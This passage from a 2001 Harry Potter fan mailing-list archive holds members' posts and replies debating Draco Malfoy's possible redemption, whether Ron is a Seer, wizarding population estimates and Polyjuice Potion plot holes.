that, Draco gets Hermione's good grades thrown in his face, which would sour
just about anybody's attitude.  I can speak from some experience on this
point---I only found out years after graduation that one particular person
who tormented me did so because his parents were always throwing "that nice
Eric Oppen, who reads all the time and is so quiet and well-behaved; why
can't you be like him?" in his face.  Had I known about this at the time,
I'd have paid his parents a visit with my own folks along for backup if
needed, and explained that this sort of thing wouldn't change their kid, and
made my life a lot harder, since I had to live with their kid _on his
level!_

Also, I think that a lot of people seem to feel that Malfoy's redemption
would have to involve being friends with HP, Ron and Hermione.  That, to put
it mildly, is unlikely.  Malfoy could easily turn against his father and the
DEs for his own reasons (finding out that they see him as an expendable
pawn, as I've mentioned, would be one likely scenario that comes to mind;
another might be Voldemort turning against Lucius Malfoy for any reason) and
STILL quarrel regularly with the Trio, and continue to consider them the
chief flies in the jam-jar of his life.




From g_keddle at yahoo.com  Sun Sep  2 11:15:42 2001
From: g_keddle at yahoo.com (g_keddle at yahoo.com)
Date: Sun, 02 Sep 2001 11:15:42 -0000
Subject: Foreshadowing
In-Reply-To: <9mrtoo+bq2a@eGroups.com>
Message-ID: <9mt4cu+tkgo@eGroups.com>

No: HPFGUIDX 25361

--- In HPforGrownups at y..., cynthiaanncoe at h... wrote:
>The list of all of the 
> climactic plot twists that blew right past me the first time I read 
> the books is getting long:  Crouch/Moody, Sirius Black, Scabbers, 
> Lupin, the timeturner, even Voldemort's return and the means of 
> Harry's escape in GoF

Crouch/Moody is a great example of Luke's second-time foreshadowing - 
from the disturbance at Moody's house to Crouch's name on the 
Marauder's map, all the clues are there, we just don't know what they 
mean. 

Thanks for the essay, Luke. You created a good framework for the 
foreshadowing discussion. 

I thought the timeturner was horribly obvious first time around. I 
knew from the first day of classes Hermione was somehow managing to 
re-live hours and thought Harry and Ron utter dolts for not figuring 
it out. The girl obviously had Arithmancy homework - how else would 
she get it? 

Gert




From lumen_dei at yahoo.com  Sun Sep  2 07:18:18 2001
From: lumen_dei at yahoo.com (Lumen)
Date: Sun, 2 Sep 2001 09:18:18 +0200
Subject: R  Draco's Redemption
Message-ID: <000201c133a5$540022c0$db83153e@poorclar>

No: HPFGUIDX 25362

Well, we know that redemption is one of the themes of the book(s).  I call them book(s) since she has seen them as a whole from the beginning as all the interviews assure us.  It is that very desire for redemption that gives the books their moral quality...again, JKR asserts that her books are highly moral, and I certainly agree with her.  She is not going to be at odds with her theme nor her heart by killing off Draco.  Since she has stated in one interview that Dudley is just as abused as Harry, although in a different way (amazing thing is that she feels the children understand that Dudley is abused by his parents; she has such respect for the ability of children to penetrate), how much more so is Draco an "abused" child.  

I did a "marginal" on this at the site, and don't want to overload the list, but for those interested
http://www.geocities.com/lumen_dei/wink-gob2.html#hogwarts


What will be his redemption?  Perhaps just to be a symbol of the need for redemption and how evil victimizes the innocent: somehow killed by Voldemort, betrayed even by his father.  Remeber Ron's line..."Pity his mother likes him..."  How much more the mother that Rowling is for her "children".

Maria
Lumen Dei
www.the-sorting-hat.com

P.S.  There will soon be a great selection of animated Hogwarts cursors going up.  Try it in a week or so.


[Non-text portions of this message have been removed]




From blpurdom at yahoo.com  Sun Sep  2 12:19:17 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Sun, 02 Sep 2001 12:19:17 -0000
Subject: Could Hermione Fight the Imperius Curse?
In-Reply-To: <3B911DC9.34149960@erols.com>
Message-ID: <9mt845+dtbp@eGroups.com>

No: HPFGUIDX 25363

> > The other thing to note about Hermione is she is very lawful, as 
> > well as ethical.  This lawfulness makes her naturally obedient.   

I have to disgree with this.  She starts off this way, but very 
quickly becomes "corrupted" by Ron and Harry.  She becomes a creature 
of expedience, able to rationalize a number of infractions of the 
rules with aplomb.

In PS/SS she is the first one to take them into Fluffy's lair by use 
of the Alohomora spell.  She keeps Hagrid's pet dragon a secret, and 
even helps smuggle him out of the castle (which also involves being 
out of Gryffindor Tower at night).  She puts the full-body bind on 
Neville.  She and the boys go BACK to Fluffy's lair at the end.

In CoS she makes Polyjuice Potion (the recipe for which came from a 
book in the Restricted Section of the library).  She repeatedly takes 
boys into a girls' bathroom (Percy yells at Ron for this, so we know 
it is forbidden).  She even tears a bit from a page of a library book 
(the scrap found in her hand when she is petrified).  She also 
doesn't go to an authority figure immediately upon figuring 
everything out, and instead gets herself and Penelope Clearwater 
petrified.

In PoA she colludes in Harry going into Hogsmeade without 
permission.  She retrieves the Invisibility Cloak from the tunnel 
under the hump-backed witch.  She uses the disarming charm on Snape 
(and then moans about attacking a teacher).  She uses the Time Turner 
to go to multiple classes simultaneously, which isn't fair to the 
other students, and which isn't even good for her health or sanity 
(and which McGonagall should never have approved).  She helps Harry 
rescue Buckbeak and Sirius--patently illegal acts, not just breaking 
school rules.

In GoF the worst thing she does, IIRC, is she helps Harry with his 
tournament tasks, but she does this all through the book, even though 
he's supposed to do this himself.  She fraternizes with Viktor Krum, 
too; Ron had a bit of a point about this.  Even though he was saying 
this to cover up his feelings (IMO) her rationalization was also lame 
("international magical cooperation").  Come on.  She has an ego like 
anyone else, and the star of the Quidditch World Cup is the first boy 
to notice she's a girl.  How could her head not be turned?

Whether any of this means she can be controlled by Imperius remains 
to be seen.  I'd say there's a fifty/fifty chance.  This balances the 
trio nicely, actually, since Harry can throw it off completely and 
Ron can't at all.  So Hermione becomes this big question mark, and it 
throws a bit of unpredictability into the plot if sometimes she can 
do it and sometimes she can't.  If someone puts her under Imperius, 
we never know what to expect, unlike with Ron and Harry.

--Barb







From blpurdom at yahoo.com  Sun Sep  2 12:23:28 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Sun, 02 Sep 2001 12:23:28 -0000
Subject: Is Ron a seer?
In-Reply-To: <9mrf0a+5lss@eGroups.com>
Message-ID: <9mt8c0+lb1p@eGroups.com>

No: HPFGUIDX 25364

--- In HPforGrownups at y..., pegasus0580 at y... wrote:
> --- In HPforGrownups at y..., issybizz at h... wrote:
> issy:
> > Has anyone else noticed that Ron seems to have mystical powers? 
[snip] 
> Maybe, (looking at GoF), having seer powers is something that 
> runs in the family, (unrealised probably). At the Quidditch World 
> Cup F&G predicted, (v. confidently) "that Ireland will win - but 
> Krum gets the snitch" p81. That correct prediction wasn't a 
> coincidence.
> I also noticed that Mrs. Weasley seems to have some kind of power 
> too.  She knew that Fred and George had their joke merchandise in 
> their pockets when they were going to the Quidditch World Cup, and 
> therefore confiscated it.  Or is it that she just knows them well 
> enough to know what they are up to?

That's a good point that I've never seen raised before.  Plenty of 
people mention Ron possibly having The Sight, but don't notice the 
rest of the family.  Perhaps this means we'll also being seeing Seer!
Ginny?

--Barb





From blpurdom at yahoo.com  Sun Sep  2 12:36:10 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Sun, 02 Sep 2001 12:36:10 -0000
Subject: Malfoy's Redemption
In-Reply-To: <3B9178F2.AB55E095@erols.com>
Message-ID: <9mt93q+3n57@eGroups.com>

No: HPFGUIDX 25365

--- In HPforGrownups at y..., Margaret Dean <margdean at e...> wrote:
> 
> It's all very well to compare Draco to Snape, but in fact we know
> a heckuva lot more about Draco's background than we do about
> Snape's.  That's easy because we know practically zippo about
> Snape's before he came to Hogwarts. [snippage] In Draco's case the
> background is established and we have to work forward from it. 
> And so far his background plus his words and actions don't
> suggest any "handles" that might pull him over onto the good
> guys' side.
 
It's true that we don't know much about Snape's background.  We do 
know, however, that he reformed after becoming a Death Eater.  This 
implies that he went rather far in the other direction before coming 
back to the Dumbledore side.  If Draco is ever redeemed, it may not 
be through a relationship with Harry, Ginny, Hermione or anyone in 
particular.  It may come about from exposure to extreme evil (perhaps 
through his dad) to the extent that he recoils in horror and turns 
over a new leaf.  Who knows what Snape was required to do as a Death 
Eater, or what he saw others do?  I'm waiting for a scene in which 
Draco Malfoy, on his way to redemption, wanders about muttering, "The 
horror...the horror..."

--Barb





From becky at mackenab.com  Sun Sep  2 13:25:58 2001
From: becky at mackenab.com (becky at mackenab.com)
Date: Sun, 02 Sep 2001 13:25:58 -0000
Subject: Lost character
Message-ID: <9mtc16+ii6q@eGroups.com>

No: HPFGUIDX 25366

JKR said that she killed off the Weasley cousin and then developed 
the Rita Skeeter character more.  She said that she needed someone to 
act as a conduit for information to leave Hogwarts.  Why?  This is 
how parents find out that Hagrid is part giant.  Molly finds out that 
Hermione is breaking Harry's heart (suppossedly) and Molly finds out 
that Harry is competing.  Why were these things important enough that 
they had to be conveyed or am I missing something?




From catherine at cator-manor.demon.co.uk  Sun Sep  2 13:28:06 2001
From: catherine at cator-manor.demon.co.uk (catherine at cator-manor.demon.co.uk)
Date: Sun, 02 Sep 2001 13:28:06 -0000
Subject: Is Ron a seer?
In-Reply-To: <9mt8c0+lb1p@eGroups.com>
Message-ID: <9mtc56+geal@eGroups.com>

No: HPFGUIDX 25367

--- In HPforGrownups at y..., blpurdom at y... wrote:
> --- In HPforGrownups at y..., pegasus0580 at y... wrote:
> > --- In HPforGrownups at y..., issybizz at h... wrote:
> > issy:
> > > Has anyone else noticed that Ron seems to have mystical powers? 
> [snip] 
> > Maybe, (looking at GoF), having seer powers is something that 
> > runs in the family, (unrealised probably). At the Quidditch World 
> > Cup F&G predicted, (v. confidently) "that Ireland will win - but 
> > Krum gets the snitch" p81. That correct prediction wasn't a 
> > coincidence.


I am not going into all my reasons against Ron being a Seer, as I 
have said a great deal on the subject before, but one thing that I do 
not understand is why Fred and George's bet is so often linked to 
this business of second sight.

In GoF, before the match, the twins are part of a discussion on 
Ireland and Bulgaria.  The general consensus seems to be among them, 
particularly Charlie, that Ireland have the better players and 
overall team - the Bulgarians only have Krum who is any good.  
Doesn't seem likely that the twins would take on board the opinion of 
their elder, ex-Quidditch Captain brother, particularly if it 
coincides with their own views?    Saying that they predicted the 
outcome is an example of them having Seer powers seems to me to be 
clutching at straws - there haven't been any other indications at all 
in canon, AFAIK.

My money is still on Harry being the Seer - we have already had good 
indications of this.  Ron does nothing but clutch at straws.  If you 
analyse all the comments he makes you will see that he gets a great 
deal more wrong than he gets right.  

Catherine




From frantyck at yahoo.com  Sun Sep  2 14:17:42 2001
From: frantyck at yahoo.com (frantyck at yahoo.com)
Date: Sun, 02 Sep 2001 14:17:42 -0000
Subject: Wizard Demographics
In-Reply-To: <9msc61+rv21@eGroups.com>
Message-ID: <9mtf26+8dud@eGroups.com>

No: HPFGUIDX 25368

Thanks, Catlady, for a rewarding post.

--- In HPforGrownups at y..., "Catlady (Rita Prince Winston)" 
<catlady at w...> wrote:
> 
> Frantyck Werewoof wrote:
> 
> > I was wondering whether anyone anywhere has done a bit of 
> > calculation wrt wizard demographics
> 
> I often brood obsessively over how big the wizarding population of 
> the island of Britain (and associated isles) must be to be able to 
> have all the economy that we have seen: all the shops of Hogsmeade 
> and Diagon Alley, the broomstick manufacturors and the professional 
> Quidditch teams, etc.  In my opinion, the wizarding population MUST 
> be AT LEAST 15,000 to have all that division of labor, and 20 to 
> 25,000 seems more plausible. 

> If the usual lifespan of wizards is 150 years (Dumbledore's current 
> age) then 15,000 divided by 150 is 100 kids born each year time 
seven 
> years at Hogwarts would be a student body of 700. As I believe that 
> Dumbledore's unusually powerful magic has made him live unusually 
> long even for a wizard, I think 100 is a more likely AVERAGE 
lifespan 
> which would give a student body of 1000, which is the number I had 
> decided on before JKR stated it. 

Fascinating! but what's the reasoning? Why divide total estimated 
population by estimated lifespan for estimated annual births... It's 
not that I doubt the numbers, I'm just dying to know.

For wizard economy: most (but not all) of the shops and businesses 
that we know of are unique; that is, there is only one of each. One 
bank, one newspaper, one bookstore, one wand maker, and so on. This 
means that a very small population can still support a range of 
economic services. Once again, it calls to mind late medieval 
European urban economy, with competition strictly limited so that 
there would be no losers.

On the other hand: if there are several local Quidditch teams that 
attract a fiercely loyal following, then wizard people have a strong 
sense of place and community. Which suggests again that there must be 
local businesses... but wizards don't live in wizarding villages, by 
and large. It gets circular.

> But I consider the island of Britain (and associated isles) to be 
> quite separate from the island of Ireland (and associated isles), 
> with Ireland having its own Ministry of Magic, own wizarding 
> school(s), and so on. The wizard folk cling to old-fashioned ways
> like (looking like) steam engines and sailing ships and an economy 
of 
> small independent sole proprietors and artisans, why would they 
> change perfectly good wizarding national borders just because of 
> Muggle political changes? It makes sense to me that their borders 
> would be based either on physical geography (separate islands = 
> separate island nations) or VERY OLD history.

Clever points. I was going to suggest linguistic borders, but then 
the fact that there are all those national Quidditch teams is an odd 
fit, as is, for instance, the fact that the Bulgarian Krum attends a 
wizarding school in far northern Europe. What do you think?

During the QWC, the English witches and wizards do not automatically 
identify with the Irish side rather than with the foreign and 
incomprehensible Bulgarians; the Irish are still very much 
the 'other.' Odd.

Seamus Finnigan is Irish, and attends Hogwarts. I don't think they 
have their own school or MoM. Is there anything in canon about this?

The pieces don't fit well! Nothing new there. Long live speculation, 
and the very ancient intellectual tradition of barking up the wrong 
tree.

Woof. From the Werewoof.

Rrishi




From tabouli at unite.com.au  Sun Sep  2 14:26:53 2001
From: tabouli at unite.com.au (Tabouli)
Date: Mon, 3 Sep 2001 00:26:53 +1000
Subject: Faith healing, foreshadowing, and/but
Message-ID: <00d601c133bb$c28b6220$ef91aecb@price>

No: HPFGUIDX 25369

Rita:
>> I know that, for example, if I were a Muggle-born medical wizard, 
>>and could cure one of my Muggle relatives of something that would 
>> otherwise certainly kill him or her, I'd do it and worry about 
>> keeping my secret secret later, if ever.
>
>Surely that problem could be solved by Memory Charms all around. 
>Maybe it is why there are 'spontaneous remissions' and 'miracle cures'.
 
Ooo, nice one, Rita!  I like this idea very much.  The magical cure issue has always bothered me on the Muggle-born front.  Perhaps some of the meditation and faith cure types are really wizards in disguise...?
 
Cassie:
 
> > Perhaps it was just that lack of foreshadowing in Pettigrew's case   that prompted the New Yorker criticism."
>
> No, it was a general, overall complaint. *goes to dig up article.* I know it also bemoaned the Sirius Black twist, among others. I'm in agreement with Cindy on this one.

What??  What *is* this tosh (!).  JKR's ingeniously planted plot devices and tiny hints are in my opinion one of the *strongest* points of her writing.  I loved the fact that an apparently innocuous pet turned out to be a villain in disguise in Book 3, and that the Heir of Slytherin turned out, against all expectation, to be Ginny under Riddle's control, and so on.  Go back to your desk, journalist...
 
The morphing Tom Riddle:

Speaking of Tom Riddle, this points to one of the *weakest* aspects of JKR's writing.  I belabour this point a bit often, methinks, but Voldemort, Crabbe and Goyle are lame lame lame.  OTOH, Tom Riddle, as he appeared in CoS, was a far more interesting villain.  Smooth, cool, plausible, suave even.  What did he do to himself to turn into a Batman comic wicked snake-man evil overlord?  Silly boy.
 
Tammy Z (Sister of Amy Z?) wrote:

> I tend to use literature for writing models and to see
> sentences begun with "And" and "But" is sickening.
 
I protest!  In an essay, sure.  But in a short story  (:-D) I think starting sentences with these words can be very effective in generating atmosphere.  And yes, I do write both...

Re: Luke's message on foreshadowing:
 
I not only read this entire post, I enjoyed it thoroughly.  Very interesting.  I'm assuming my medal's in the mail...
 
Tabouli.


[Non-text portions of this message have been removed]




From frantyck at yahoo.com  Sun Sep  2 14:33:34 2001
From: frantyck at yahoo.com (frantyck at yahoo.com)
Date: Sun, 02 Sep 2001 14:33:34 -0000
Subject: Malfoy's Redemption
In-Reply-To: <9mt93q+3n57@eGroups.com>
Message-ID: <9mtfvu+mo7u@eGroups.com>

No: HPFGUIDX 25370

--- In HPforGrownups at y..., blpurdom at y... wrote:
> If Draco is ever redeemed, it may not 
> be through a relationship with Harry, Ginny, Hermione or anyone in 
> particular.  It may come about from exposure to extreme evil 
(perhaps 
> through his dad) to the extent that he recoils in horror and turns 
> over a new leaf.

Expectation is a powerful prod to action. If Draco finds himself in a 
situation where something depends entirely on him, such as pulling 
Hermione up off a cliff (and I don't mean this *literally*), won't he 
do it and not think too hard about it? I hope so. It's one thing 
defeating an enemy; refusing in extremity to offer assistance -- 
that's truly evil.

Rrishi




From mindyatime at juno.com  Sun Sep  2 15:02:40 2001
From: mindyatime at juno.com (Mindy, a.k.a. CLH)
Date: Sun, 2 Sep 2001 11:02:40 -0400
Subject: How did Crabbe & Goyle not notice?
Message-ID: <20010902.110254.-428615.0.mindyatime@juno.com>

No: HPFGUIDX 25371

I am amazed by another thing in CoS. Once the Polyjuice Potion started
wearing off, and the Terrible Two dashed from the Slytherin Common Room
in a huff, obviously Crabbe & Goyle exited their closet, found their
shoes, and made their way indignantly back to their Common Room in
puzzlement. Draco should've then given them a bawling out for how weird
they had acted moments ago... How is it that none of them realized they'd
just been duped? It's so unlike Draco to let an opportunity like this
slip by him... Why didnt he raise a ruckus and try to find out who just
impersonated his friends and why? Not another word is mentioned after the
incident about its aftermath or repercussions. Perhaps Crabbe, Goyle and
Malfoy are so thickheaded that they didnt even notice what went on? What
do you think?

We have also learned from Harry & Ron's perspective, that when under
polyjuice potion, one only attains the outside characteristics of the
person being impersonated.  Harry and Ron received the voices and faces
of Crabbe & Goyle, but they maintained their own personality and their
own knowledge. They didn't BECOME Crabbe & Goyle. In that short hour, it
was quite some feat to pretend to be C & G. SO can you imagine how
difficult it must be for someone to impersonate somoene else, long term?
It is still beyond me how Barty Jr. managed to pull of his Moody
impersonation for a full year; a young boy who spent 10+ years under an
invisibility cloak hidden in a house, without schooling, mastering such a
difficult feat. Did he never stumble and act un-Moody-like? No one EVER
got suspicious? How can it be that he never acted Barty-like by accident?
Look how Harry almost apologized to Percy. IMO, acting under Polyjuice
Potion is an extremely difficult feat and perhaps that is why we see it
used so little in the four books.

MINDY

who is down to only fourteen digests more to read, thank G-d!
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From mindyatime at juno.com  Sun Sep  2 15:17:29 2001
From: mindyatime at juno.com (Mindy, a.k.a. CLH)
Date: Sun, 2 Sep 2001 11:17:29 -0400
Subject: Death in the Magical World
Message-ID: <20010902.111738.-428615.1.mindyatime@juno.com>

No: HPFGUIDX 25372

I find it rather interesting that there is no spell that can reverse
death in the Hogwarts World. Magic should be infallible. Raising people
from the dead should be something that should be worked out by these
amazing wizards. I am puzzled by this -- only perhaps this is so, because
the plotlines would be endless and readers would be clamoring for every
second character to be killed and every third character to ressurect one
of them.
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From scaryfairymary at hotmail.com  Sun Sep  2 15:48:36 2001
From: scaryfairymary at hotmail.com (scaryfairymary at hotmail.com)
Date: Sun, 02 Sep 2001 15:48:36 -0000
Subject: another cheesy line!!/Snuffles
In-Reply-To: <9mp1eu+m8dc@eGroups.com>
Message-ID: <9mtkck+mi7i@eGroups.com>

No: HPFGUIDX 25373

Cindy wrote:
> Mary, I had a different "cringe" line in Padfoot Returns:  If 
Crouch 
> has ever taken a day off work because of illness before this, "I'll 
> eat Buckbeak."  Struck me as a strange thing for a grown man to 
say.  

I know exactly what you mean! Maybe it's just because he spent 
12/13yrs in Azkaban that he might have reverted somewhat to 
childhood? Or maybe because he is talkig to a group of kids that he 
speaks down to them? Although that doesnt seem like a thing that 
Sirius would do... I dont know.

> "Call me Snuffles" didn't make me cringe too much.  By the way, was 
> the point of the "Snuffles" thing to make the reader sweat? 

Could have been although it just made me laugh!

> In  the "The Dream" (which follows Padfoot Returns), H/H/R have a 
> conversation in which they refer to Sirius as "Sirius" three 
times.  
> I was sure something bad would result from this slip, but nothing 
> ever did.
> 
I noticed this too, and I was sure Draco was going to hear them or 
the news that they were talking about Sirius would get back to Draco, 
and Sirius would be forced to go on the run again. 

-Mary :)




From scaryfairymary at hotmail.com  Sun Sep  2 15:57:56 2001
From: scaryfairymary at hotmail.com (scaryfairymary at hotmail.com)
Date: Sun, 02 Sep 2001 15:57:56 -0000
Subject: Favourite Quotes and/or Scenes...
In-Reply-To: <F2317w4pUniTwiwzRJF00002226@hotmail.com>
Message-ID: <9mtku4+larc@eGroups.com>

No: HPFGUIDX 25374

--- In HPforGrownups at y..., "princesskatie115 -" 
<princesskatie115 at h...> wrote:
> Just wondering what quotes or scenes in the HP series really popped 
out at 
> you (whether clever, funny, touching, etc.) and have become your 
favourites!
> 
my memory 
> is:
> 
> 
> "Aunt Petunia hurled herself onto the ground beside Dudley, seized 
the end 
> of his swollen tongue and attempted to wrench it out of his moth; 
> unsurprisingly, Dudley yelled and spluttered worse than ever, 
trying to 
> fight her off. Uncle Vernon was bellowing and waving his arms 
around, and 
> Mr. Weasley had to shout to make himself heard. "
> 
I think mine has to be when they had just perfomed the de-gnoming in 
the garden in CoS;
"'They'll be back,' said Ron as they watched the gnomes disappear 
into the hedge ont the other side of the field.  
'They love it here...Dad's too soft with them, he thinks they're 
funny...'"

That qoute just conjours up a funny image of my head of all the 
gnomes stumbling dizzily out of sight while Ron is perplexed at how 
his dad  thinks theyre nice... it kind of reminds me of Mr. Weasley's 
obbsession with the "funny" ways of us muggles with our "eckeltricity"

-Mary











From issybizz at hotmail.com  Sun Sep  2 15:59:31 2001
From: issybizz at hotmail.com (issybizz at hotmail.com)
Date: Sun, 02 Sep 2001 15:59:31 -0000
Subject: Is Ron a seer?
Message-ID: <9mtl13+es9v@eGroups.com>

No: HPFGUIDX 25375

Catherine wrote:

>Ron does nothing but clutch at straws.  If you 
>analyse all the comments he makes you will see that he gets a great 
>deal more wrong than he gets right. 
 
That fact may be true, but Ron seems to only get it wrong when he is 
trying to consciously predict what will happen. 

Quote:  ("yeah, someone could've - could've pulled him onto a broom 
and flown off with him, couldn't they?" said Ron quickly, looking 
hopefully at Moody, as if he, too, wanted to be told he had the 
makings of an Auror. [GoF, p 495] ) 
Another quote: (Ron's dark prediction that the house-elves would send 
sub-standard food up to the Gryffindor table because Heromine had 
insulted them proved false. [GoF, p 468] ). Ron may have liked for 
them to have done so because of his relationship with Heromoine - but 
as it was a conscious thing, it was wrong.

  It is my belief that Ron can only use this gift when he isn't 
consciously trying to.

Quote: Even after being proven otherwise (I was so sure it was 
Malfoy," said Ron for the hundredth time. [CoS, p171] ) And at the 
end of the book, we are told that it was (Lucas) Malfoy who gave the 
diary to Ginny. Ron was correct.
 
((snip))
>My money is still on Harry being the Seer - we have already had good 
>indications of this.
 
If u can easily say I am clutching at straws with Ron and his family 
being seers, how  can u say what Harry does is more than put two and 
two together. To me, that is all harry seems to be able to do. Harry 
uses logic to find answers (predict) but with Ron, it just comes to 
him with no logic, inspiration or evidence needed.
 
You may not agree with me but I hope I've explained myself clearly 
and haven't annoyed anyone too much! 
 
Luv Issy***





From usergoogol at yahoo.com  Sun Sep  2 16:05:41 2001
From: usergoogol at yahoo.com (usergoogol at yahoo.com)
Date: Sun, 02 Sep 2001 16:05:41 -0000
Subject: Wizard demographics?
In-Reply-To: <9ms3jn+16ah@eGroups.com>
Message-ID: <9mtlcl+e5mf@eGroups.com>

No: HPFGUIDX 25376

--- In HPforGrownups at y..., frantyck at y... wrote:
> Hullo, all. I was wondering whether anyone anywhere has done a bit of 
> calculation wrt wizard demographics -- that is, using the few clues 
> Rowling offers to estimate what wizard-world numbers are like. The 
> only solid number we seem to have is the number of Hogwarts students 
> (1000).

That's not undisputed of course. If I remember right from the Lexicon, some theorize that there are merely about 280. (10 students per house (five of each gender) 40 of each year, 280 of all seventy.) There's actually quite a bit of reasoning behind this, but one of the more experienced members would be better at explaining it.

> 
> Also: any speculation on what a world would be like in which almost 
> everyone has attended the same school? (Frankly, argh.)
>

I don't know. Maybe there are other wizard schools that the english are open to go to. After all, Draco COULD have gone to Durmstrang, (of course, Lucius and the headmaster of Durmstrang were "old friends" though...)
 
> Lastly: Where would you think wizarding schools would be in your > country? Obvious Example: the US has roughly five times the 
> population of the UK; does that mean five schools? Where would you 
> put them?
> 

Well, in my yet-to-be-written fanfic, I put a school in Minnesota, which I think is nice (rural, centrally located) also, maybe something could be in... oh... the Salem/Boston region. Um, there might be one deeply hidden in the Rocky Mountains.




From absinthe at mad.scientist.com  Sun Sep  2 16:30:21 2001
From: absinthe at mad.scientist.com (Milz)
Date: Sun, 02 Sep 2001 16:30:21 -0000
Subject: How did Crabbe & Goyle not notice?
In-Reply-To: <20010902.110254.-428615.0.mindyatime@juno.com>
Message-ID: <9mtmqt+k4o1@eGroups.com>

No: HPFGUIDX 25377

--- In HPforGrownups at y..., "Mindy, a.k.a. CLH" <mindyatime at j...> 
wrote:
> I am amazed by another thing in CoS. Once the Polyjuice Potion 
started
> wearing off, and the Terrible Two dashed from the Slytherin Common 
Room
> in a huff, obviously Crabbe & Goyle exited their closet, found their
> shoes, and made their way indignantly back to their Common Room in
> puzzlement. Draco should've then given them a bawling out for how 
weird
> they had acted moments ago... How is it that none of them realized 
they'd
> just been duped? It's so unlike Draco to let an opportunity like 
this
> slip by him... Why didnt he raise a ruckus and try to find out who 
just
> impersonated his friends and why? Not another word is mentioned 
after the
> incident about its aftermath or repercussions. Perhaps Crabbe, Goyle 
and
> Malfoy are so thickheaded that they didnt even notice what went on? 
What
> do you think?
> 

Actually, I think Draco thinks Crabbe and Goyle to be dunderheads and 
probably didn't believe them when they told him they just woke up in a 
closet. Or maybe Crabbe and Goyle were scared to tell Draco. See, the 
monster supposedly only attacks Muggles and Muggle-borns. If Crabbe 
and Goyle suspected the monster had something to do with their attack, 
 then they would have had to thought the monster would only attack 
them if they had Muggle blood. Knowing that Draco is prejudice against 
Muggles and Muggle-borns, I don't think they would have confided in 
him.

> We have also learned from Harry & Ron's perspective, that when under
> polyjuice potion, one only attains the outside characteristics of 
the
> person being impersonated.  Harry and Ron received the voices and 
faces
> of Crabbe & Goyle, but they maintained their own personality and 
their
> own knowledge. They didn't BECOME Crabbe & Goyle. In that short 
hour, it
> was quite some feat to pretend to be C & G. SO can you imagine how
> difficult it must be for someone to impersonate somoene else, long 
term?
> It is still beyond me how Barty Jr. managed to pull of his Moody
> impersonation for a full year; a young boy who spent 10+ years under 
an
> invisibility cloak hidden in a house, without schooling, mastering 
such a
> difficult feat. Did he never stumble and act un-Moody-like? No one 
EVER
> got suspicious? How can it be that he never acted Barty-like by 
accident?
> Look how Harry almost apologized to Percy. IMO, acting under 
Polyjuice
> Potion is an extremely difficult feat and perhaps that is why we see 
it
> used so little in the four books.
> 

IIRC, Crouch Jr. kept Moody under the imperious curse rather than kill 
him so that he could use Moody's knowledge. So maybe, Crouch Jr. would 
ask Moody how he did certain things. 

I do think he slipped the one time during with Malfoy the Ferret. I 
think the only reason why it was viewed as typical Moody behavior is 
because of Moody's reputation as an Auror and as a paranoid who "sees 
Dark Wizards everywhere". I don't think the real Moody would have 
treated a student that way.






From mindyatime at juno.com  Sun Sep  2 16:37:04 2001
From: mindyatime at juno.com (Mindy, a.k.a. CLH)
Date: Sun, 2 Sep 2001 12:37:04 -0400
Subject: Dueling Club/Sirius's Appeal/Plotlines I'd like to see/Tournament
Message-ID: <20010902.123719.-428615.4.mindyatime@juno.com>

No: HPFGUIDX 25378

I really don't get the entire premise of the dueling club chapter. Why
was the entire dueling club necessary? The students are much too young to
know proper spells and defense spells. Lockhart doesn't begin to know
what he's doing; does he just want to show off?

Here's another question that has been puzzling me: How come so many of
you listies are sooo ga-ga over Sirius? While I like his character, he
comes across to me as a whispy, filthy, grimy, emaciated skeleton. He
doesnt have any outer appeal; why are so many of you 'crazy' about him?

Here is a plotline I'd like to see: I'd like to see JKR come up with MORE
ingenious magical devices, concepts, animals, or people. I am truly
curious what else she can come up with. HOWEVER, WHY ON EARTH DOES IT
HAVE TO TAKE TWO FULL YEARS TO WRITE THE NEXT BOOK???? I don't get it. If
she locks herself into her room for a month and subsists on take-out, and
doesn't look at her daughter, she can finish this book by October. Why
two years???? and with my rotten luck, I will probably be unable to get
my shaking hands on a copy until the second printing, which may possibly
be July 2003.... Oy vey!

Did any of you ever wonder what went through the minds of all of the
spectators of the Tournament while the cemetery drama was taking place?
What a pity there was never a chapter describing the mayhem that may have
gone on as Fleur and Krum were taken out and Cedric & Harry were not to
be found, and neither was the Cup. Was the maze then flooded with
Ministry & School officials, searching for Harry? What was Barty Jr.
doing all that time -- biting his nails in anxiety, or shouting to the
crows to calm down and all was fine? Additionally, were the spectators
able to see the goings-on within the maze, or were they just sitting
outside for half an hour or so patiently, singing school anthems and
studying for exams? Must've been kinda boring not to be able to enjoy the
ultimate, final task of the tournament. Or perhaps the entire drama
would've been replayed later, as if on video, were the entire fiasco not
to take place.
My actual favorite part of the 3rd task is when Harry steps through the
mist and finds himself upside down, afraid he'll land in space if he
moves. Wow, these ingenious ideas!!!

I am awfully sorry for posting so much in a 24-hour span, but I have not
read nor written in over a week, and I have so much to comment on,
therefore necessitating this need to write so much. I have eight digests
left to go, and I hope I won't come up with too many more observations!
It's time to take a break -- I am sitting here for 2 1/2 hours and I
haven't even eaten breakfast. See ya later.

MINDY

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From catherine at cator-manor.demon.co.uk  Sun Sep  2 17:19:41 2001
From: catherine at cator-manor.demon.co.uk (catherine at cator-manor.demon.co.uk)
Date: Sun, 02 Sep 2001 17:19:41 -0000
Subject: Is Ron a seer?
In-Reply-To: <9mtl13+es9v@eGroups.com>
Message-ID: <9mtpnd+jabh@eGroups.com>

No: HPFGUIDX 25379

--- In HPforGrownups at y..., issybizz at h... wrote:
> Catherine wrote:
> If u can easily say I am clutching at straws with Ron and his 
family 
> being seers, how  can u say what Harry does is more than put two 
and 
> two together. To me, that is all harry seems to be able to do. 
Harry 
> uses logic to find answers (predict) but with Ron, it just comes to 
> him with no logic, inspiration or evidence needed.
>  
> You may not agree with me but I hope I've explained myself clearly 
> and haven't annoyed anyone too much! 
>  
> Luv Issy***

"Clutching at straws" may have sounded a little strong - apologies, 
but I still don't think that Ron is a Seer, and some of the examples 
given, such as his comment about Crookshanks having it "in" for 
Scabbers was to me just obvious - and everyone had noticed, but put 
it down to normal behaviour.  Ron's dislike of Crookshanks and 
accusing him of malevolence probably also sprung from the spider-
eating incident - I think he thought that Crookshanks had it in for 
him, and Scabbers was an extension of that.

My point about Harry doesn't stem from his predictions and 
deductions, but the dreams he has - such as the simultaneous ones 
featuring Voldemort, which isn't seeing into the future exactly, but 
does involve some kind of ESP or something - don't know how to label 
